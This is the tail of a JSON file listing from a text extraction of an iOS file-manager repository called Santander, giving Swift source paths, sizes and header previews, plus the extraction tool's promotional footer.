    "path": "Santander/UI/Editors/TextEditor/KeyboardSearchView.swift",
    "chars": 8167,
    "preview": "//\n//  KeyboardSearchView.swift\n//  Santander\n//\n//  Created by Serena on 09/02/2023.\n//\n\nimport UIKit\nimport Runestone\n"
  },
  {
    "path": "Santander/UI/Editors/TextEditor/KeyboardToolsView.swift",
    "chars": 5393,
    "preview": "//\n//  KeyboardToolsView.swift\n//  Santander\n//\n//  Created by Serena on 04/07/2022\n//\n\t\nimport Runestone\nimport UIKit\n\n"
  },
  {
    "path": "Santander/UI/Editors/TextEditor/TextEditorThemeSettingsViewController.swift",
    "chars": 8246,
    "preview": "//\n//  TextEditorThemeSettingsViewController.swift\n//  Santander\n//\n//  Created by Serena on 03/07/2022\n//\n\t\n\nimport UIK"
  },
  {
    "path": "Santander/UI/Editors/TextEditor/TextFileEditorViewController.swift",
    "chars": 11174,
    "preview": "//\n//  TextFileEditorViewController.swift\n//  Santander\n//\n//  Created by Serena on 02/07/2022\n//\n\n\nimport UIKit\n// Unfo"
  },
  {
    "path": "Santander/UI/Editors/TextEditor/Themes.swift",
    "chars": 5924,
    "preview": "//\n//  Themes.swift\n//  Santander\n//\n//  Created by Serena on 03/07/2022\n//\n\t\n\nimport UIKit\nimport Runestone\n\n/// A Gene"
  },
  {
    "path": "Santander/UI/FilePreviewDataSource.swift",
    "chars": 525,
    "preview": "//\n//  FilePreviewDataSource.swift\n//  Santander\n//\n//  Created by Serena on 23/06/2022\n//\n\t\n\n\nimport QuickLook\n\nclass F"
  },
  {
    "path": "Santander/UI/Path/DragAndDrop.swift",
    "chars": 2350,
    "preview": "//\n//  DragAndDrop.swift\n//  Santander\n//\n//  Created by Serena on 24/06/2022\n//\n\n\nimport UIKit\nimport UniformTypeIdenti"
  },
  {
    "path": "Santander/UI/Path/PathGroupOwnerViewController.swift",
    "chars": 8414,
    "preview": "//\n//  PathGroupOwnerViewController.swift\n//  Santander\n//\n//  Created by Serena on 07/08/2022.\n//\n\nimport UIKit\n\n/// A "
  },
  {
    "path": "Santander/UI/Path/PathInformationTableViewController.swift",
    "chars": 8079,
    "preview": "//\n//  PathInformationTableViewController.swift\n//  Santander\n//\n//  Created by Serena on 21/06/2022\n//\n\t\n\nimport UIKit\n"
  },
  {
    "path": "Santander/UI/Path/PathListViewController.swift",
    "chars": 44379,
    "preview": "//\n//  PathListViewController.swift\n//  Santander\n//\n//  Created by Serena on 21/06/2022\n//\n\n\nimport UIKit\nimport QuickL"
  },
  {
    "path": "Santander/UI/Path/PathOperationViewController.swift",
    "chars": 5364,
    "preview": "//\n//  PathOperationViewController.swift\n//  Santander\n//\n//  Created by Serena on 24/06/2022\n//\n\nimport UIKit\nimport Qu"
  },
  {
    "path": "Santander/UI/Path/PathPermissionsViewController.swift",
    "chars": 8227,
    "preview": "//\n//  PathPermissionsViewController.swift\n//  Santander\n//\n//  Created by Serena on 05/08/2022.\n//\n\nimport UIKit\n\nclass"
  },
  {
    "path": "Santander/UI/Path/PathSidebarListViewController.swift",
    "chars": 8685,
    "preview": "//\n//  PathSidebarListViewController.swift\n//  Santander\n//\n//  Created by Serena on 25/06/2022\n//\n\t\n\nimport UIKit\n\n#war"
  },
  {
    "path": "Santander/UI/Path/Search.swift",
    "chars": 8011,
    "preview": "//\n//  Search.swift\n//  Santander\n//\n//  Created by Serena on 25/06/2022\n//\n\t\n\nimport UIKit\nimport UniformTypeIdentifier"
  },
  {
    "path": "Santander/UI/Path/ToolbarItems.swift",
    "chars": 6843,
    "preview": "//\n//  ToolbarItems.swift\n//  Santander\n//\n//  Created by Serena on 04/08/2022.\n//\n\nimport UIKit\nimport CompressionWrapp"
  },
  {
    "path": "Santander/UI/SettingsTableViewController.swift",
    "chars": 11798,
    "preview": "//\n//  SettingsTableViewController.swift\n//  Santander\n//\n//  Created by Serena on 24/06/2022\n//\n\n\nimport UIKit\nimport L"
  },
  {
    "path": "Santander/UI/TypeSelectionViewController.swift",
    "chars": 8174,
    "preview": "//\n//  TypeSelectionViewController.swift\n//  Santander\n//\n//  Created by Serena on 01/07/2022\n//\n\t\n\nimport UIKit\nimport "
  },
  {
    "path": "Santander.xcodeproj/project.pbxproj",
    "chars": 62400,
    "preview": "// !$*UTF8*$!\n{\n\tarchiveVersion = 1;\n\tclasses = {\n\t};\n\tobjectVersion = 55;\n\tobjects = {\n\n/* Begin PBXBuildFile section *"
  },
  {
    "path": "entitlements-TS.plist",
    "chars": 10884,
    "preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/P"
  },
  {
    "path": "entitlements.plist",
    "chars": 893,
    "preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/P"
  }
]

About this extraction

This page contains the full source code of the haxi0/SantanderEscaped GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 80 files (511.7 KB), approximately 123.6k tokens, and a symbol index with 4 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.

Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.

Copied to clipboard!